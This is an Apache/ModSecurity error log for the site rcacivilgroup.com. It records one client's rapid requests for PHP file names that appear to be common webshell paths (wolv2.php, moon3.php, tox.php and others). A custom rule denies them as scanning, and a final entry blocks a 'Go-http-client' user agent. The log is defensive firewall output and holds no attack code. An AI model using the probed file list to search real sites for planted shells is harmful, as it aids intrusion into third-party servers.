[Sun Apr 26 05:08:19.107382 2026] [:error] [pid 8390:tid 8470] [client 20.199.180.228:65364] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-update.php"] [unique_id "ae0tQ4GPtFK_i9p5yxQElgAAAJM"]
[Sun Apr 26 05:08:19.730438 2026] [:error] [pid 31273:tid 31336] [client 20.199.180.228:10149] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ae0tQ_hcNJEGrATcuEexMgAAAUE"]
[Sun Apr 26 05:08:20.348825 2026] [:error] [pid 41906:tid 41916] [client 20.199.180.228:65377] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ae0tRD3-0A3lxw9OXoDttQAAAYg"]
[Sun Apr 26 05:08:20.895816 2026] [:error] [pid 8383:tid 8403] [client 20.199.180.228:10115] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ae0tRNFa2S3EsATMdWOzRgAAAAY"]
[Sun Apr 26 05:08:21.445615 2026] [:error] [pid 10315:tid 10321] [client 20.199.180.228:14373] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "ae0tRaJIw2vjkleLIaB9CwAAAQQ"]
[Sun Apr 26 05:08:22.111248 2026] [:error] [pid 10315:tid 10331] [client 20.199.180.228:65462] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-db.php"] [unique_id "ae0tRqJIw2vjkleLIaB9EQAAAQ4"]
[Sun Apr 26 05:08:22.645641 2026] [:error] [pid 31273:tid 31357] [client 20.199.180.228:65410] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-db.php"] [unique_id "ae0tRvhcNJEGrATcuEexNQAAAVI"]
[Sun Apr 26 05:08:23.148470 2026] [:error] [pid 31273:tid 31347] [client 20.199.180.228:65432] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-db.php"] [unique_id "ae0tR_hcNJEGrATcuEexOAAAAUk"]
[Sun Apr 26 05:08:23.674028 2026] [:error] [pid 31273:tid 31356] [client 20.199.180.228:65420] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-db.php"] [unique_id "ae0tR_hcNJEGrATcuEexOgAAAVE"]
[Sun Apr 26 05:08:24.247683 2026] [:error] [pid 41906:tid 41921] [client 20.199.180.228:14403] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sx10.php"] [unique_id "ae0tSD3-0A3lxw9OXoDtvAAAAY0"]
[Sun Apr 26 05:08:24.766204 2026] [:error] [pid 8385:tid 8440] [client 20.199.180.228:65438] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sx10.php"] [unique_id "ae0tSDOy7_J84Wx3-oxUDgAAAFA"]
[Sun Apr 26 05:08:25.470377 2026] [:error] [pid 8491:tid 8511] [client 20.199.180.228:14552] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sx10.php"] [unique_id "ae0tSSq7I7e6CJooQM1_1QAAAMw"]
[Sun Apr 26 05:08:26.053563 2026] [:error] [pid 31273:tid 31359] [client 20.199.180.228:14544] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sx10.php"] [unique_id "ae0tSvhcNJEGrATcuEexPQAAAVQ"]
[Sun Apr 26 05:08:26.761880 2026] [:error] [pid 41906:tid 41930] [client 20.199.180.228:65411] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xml.php"] [unique_id "ae0tSj3-0A3lxw9OXoDtwQAAAZY"]
[Sun Apr 26 05:08:27.277279 2026] [:error] [pid 41906:tid 41916] [client 20.199.180.228:65469] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xml.php"] [unique_id "ae0tSz3-0A3lxw9OXoDtxgAAAYg"]
[Sun Apr 26 05:08:27.888198 2026] [:error] [pid 41906:tid 41911] [client 20.199.180.228:10197] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xml.php"] [unique_id "ae0tSz3-0A3lxw9OXoDtygAAAYM"]
[Sun Apr 26 05:08:28.409564 2026] [:error] [pid 41906:tid 41915] [client 20.199.180.228:14570] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xml.php"] [unique_id "ae0tTD3-0A3lxw9OXoDtzwAAAYc"]
[Sun Apr 26 05:08:28.956451 2026] [:error] [pid 8390:tid 8468] [client 20.199.180.228:65351] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moon3.php"] [unique_id "ae0tTIGPtFK_i9p5yxQEnQAAAJE"]
[Sun Apr 26 05:08:29.489436 2026] [:error] [pid 10315:tid 10320] [client 20.199.180.228:65450] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moon3.php"] [unique_id "ae0tTaJIw2vjkleLIaB9HQAAAQM"]
[Sun Apr 26 05:08:30.021870 2026] [:error] [pid 41906:tid 41920] [client 20.199.180.228:65442] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moon3.php"] [unique_id "ae0tTj3-0A3lxw9OXoDt1wAAAYw"]
[Sun Apr 26 05:08:30.573320 2026] [:error] [pid 41906:tid 41926] [client 20.199.180.228:14450] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moon3.php"] [unique_id "ae0tTj3-0A3lxw9OXoDt2AAAAZI"]
[Sun Apr 26 05:08:31.095152 2026] [:error] [pid 10315:tid 10334] [client 20.199.180.228:65464] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "ae0tT6JIw2vjkleLIaB9IgAAARE"]
[Sun Apr 26 05:08:31.585765 2026] [:error] [pid 10315:tid 10335] [client 20.199.180.228:10157] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "ae0tT6JIw2vjkleLIaB9IwAAARI"]
[Sun Apr 26 05:08:32.103397 2026] [:error] [pid 41906:tid 41915] [client 20.199.180.228:65368] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "ae0tUD3-0A3lxw9OXoDt4gAAAYc"]
[Sun Apr 26 05:08:32.674555 2026] [:error] [pid 41906:tid 41913] [client 20.199.180.228:10219] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/db.php"] [unique_id "ae0tUD3-0A3lxw9OXoDt5gAAAYU"]
[Sun Apr 26 05:08:33.202909 2026] [:error] [pid 8491:tid 8510] [client 20.199.180.228:14577] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "ae0tUSq7I7e6CJooQM1_3gAAAMs"]
[Sun Apr 26 05:08:33.789633 2026] [:error] [pid 41906:tid 41920] [client 20.199.180.228:65386] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "ae0tUT3-0A3lxw9OXoDt6gAAAYw"]
[Sun Apr 26 05:08:34.440952 2026] [:error] [pid 10315:tid 10329] [client 20.199.180.228:10181] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "ae0tUqJIw2vjkleLIaB9MwAAAQw"]
[Sun Apr 26 05:08:34.925787 2026] [:error] [pid 8491:tid 8521] [client 20.199.180.228:14556] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "ae0tUiq7I7e6CJooQM1_4gAAANY"]
[Sun Apr 26 05:08:35.429855 2026] [:error] [pid 10315:tid 10317] [client 20.199.180.228:10140] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/revealability.php"] [unique_id "ae0tU6JIw2vjkleLIaB9NQAAAQA"]
[Sun Apr 26 05:08:35.955329 2026] [:error] [pid 10315:tid 10335] [client 20.199.180.228:14567] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/revealability.php"] [unique_id "ae0tU6JIw2vjkleLIaB9OAAAARI"]
[Sun Apr 26 05:08:36.484875 2026] [:error] [pid 41906:tid 41912] [client 20.199.180.228:65356] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/revealability.php"] [unique_id "ae0tVD3-0A3lxw9OXoDt8gAAAYQ"]
[Sun Apr 26 05:08:37.048250 2026] [:error] [pid 10315:tid 10341] [client 20.199.180.228:10121] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/revealability.php"] [unique_id "ae0tVaJIw2vjkleLIaB9PQAAARg"]
[Sun Apr 26 05:08:37.583061 2026] [:error] [pid 41906:tid 41921] [client 20.199.180.228:65437] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "ae0tVT3-0A3lxw9OXoDt9gAAAY0"]
[Sun Apr 26 05:08:38.107420 2026] [:error] [pid 41906:tid 41929] [client 20.199.180.228:14477] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "ae0tVj3-0A3lxw9OXoDt-QAAAZU"]
[Sun Apr 26 05:08:38.629541 2026] [:error] [pid 41906:tid 41916] [client 20.199.180.228:14580] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "ae0tVj3-0A3lxw9OXoDt-gAAAYg"]
[Sun Apr 26 05:08:39.215017 2026] [:error] [pid 41906:tid 41926] [client 20.199.180.228:65409] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tox.php"] [unique_id "ae0tVz3-0A3lxw9OXoDt_AAAAZI"]
[Sun Apr 26 05:08:39.718260 2026] [:error] [pid 10315:tid 10322] [client 20.199.180.228:14504] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packed.php"] [unique_id "ae0tV6JIw2vjkleLIaB9SwAAAQU"]
[Sun Apr 26 05:08:40.297376 2026] [:error] [pid 8390:tid 8459] [client 20.199.180.228:65376] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packed.php"] [unique_id "ae0tWIGPtFK_i9p5yxQEogAAAIg"]
[Sun Apr 26 05:08:40.854449 2026] [:error] [pid 10315:tid 10319] [client 20.199.180.228:65460] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packed.php"] [unique_id "ae0tWKJIw2vjkleLIaB9UAAAAQI"]
[Sun Apr 26 05:08:41.490552 2026] [:error] [pid 10315:tid 10327] [client 20.199.180.228:65453] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packed.php"] [unique_id "ae0tWaJIw2vjkleLIaB9VAAAAQo"]
[Sun Apr 26 05:08:42.018681 2026] [:error] [pid 10315:tid 10337] [client 20.199.180.228:14541] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ae0tWqJIw2vjkleLIaB9VwAAARQ"]
[Sun Apr 26 05:08:42.555972 2026] [:error] [pid 8491:tid 8508] [client 20.199.180.228:65367] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ae0tWiq7I7e6CJooQM1_6wAAAMk"]
[Sun Apr 26 05:08:43.221865 2026] [:error] [pid 8390:tid 8471] [client 20.199.180.228:14557] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ae0tW4GPtFK_i9p5yxQEpQAAAJQ"]
[Sun Apr 26 05:08:43.802886 2026] [:error] [pid 41906:tid 41919] [client 20.199.180.228:14385] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "ae0tWz3-0A3lxw9OXoDuAwAAAYs"]
[Sun Apr 26 05:08:44.414766 2026] [:error] [pid 10315:tid 10332] [client 20.199.180.228:10119] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "ae0tXKJIw2vjkleLIaB9ZwAAAQ8"]
[Sun Apr 26 05:08:44.958958 2026] [:error] [pid 8385:tid 8427] [client 20.199.180.228:14542] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "ae0tXDOy7_J84Wx3-oxUHgAAAEM"]
[Sun Apr 26 05:08:45.504322 2026] [:error] [pid 8390:tid 8464] [client 20.199.180.228:65412] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "ae0tXYGPtFK_i9p5yxQEpwAAAI0"]
[Sun Apr 26 05:08:46.028831 2026] [:error] [pid 41906:tid 41920] [client 20.199.180.228:14391] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "ae0tXj3-0A3lxw9OXoDuCgAAAYw"]
[Sun Apr 26 05:08:46.713026 2026] [:error] [pid 8385:tid 8440] [client 20.199.180.228:14551] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ffile.php"] [unique_id "ae0tXjOy7_J84Wx3-oxUHwAAAFA"]
[Sun Apr 26 05:08:47.234834 2026] [:error] [pid 8383:tid 8407] [client 20.199.180.228:14440] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ffile.php"] [unique_id "ae0tX9Fa2S3EsATMdWOzUAAAAAo"]
[Sun Apr 26 05:08:47.780771 2026] [:error] [pid 8383:tid 8421] [client 20.199.180.228:14493] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ffile.php"] [unique_id "ae0tX9Fa2S3EsATMdWOzUwAAABg"]
[Sun Apr 26 05:08:48.373338 2026] [:error] [pid 8491:tid 8514] [client 20.199.180.228:65419] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ffile.php"] [unique_id "ae0tYCq7I7e6CJooQM1_9gAAAM8"]
[Sun Apr 26 05:08:49.033787 2026] [:error] [pid 41906:tid 41914] [client 20.199.180.228:14554] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.1.php"] [unique_id "ae0tYT3-0A3lxw9OXoDuEAAAAYY"]
[Sun Apr 26 05:08:49.684468 2026] [:error] [pid 8491:tid 8503] [client 20.199.180.228:65375] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.1.php"] [unique_id "ae0tYSq7I7e6CJooQM1_-AAAAMQ"]
[Sun Apr 26 05:14:17.633713 2026] [:error] [pid 31273:tid 31353] [client 212.47.78.129:58709] [client 212.47.78.129] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ae0uqfhcNJEGrATcuEeyjwAAAU4"]
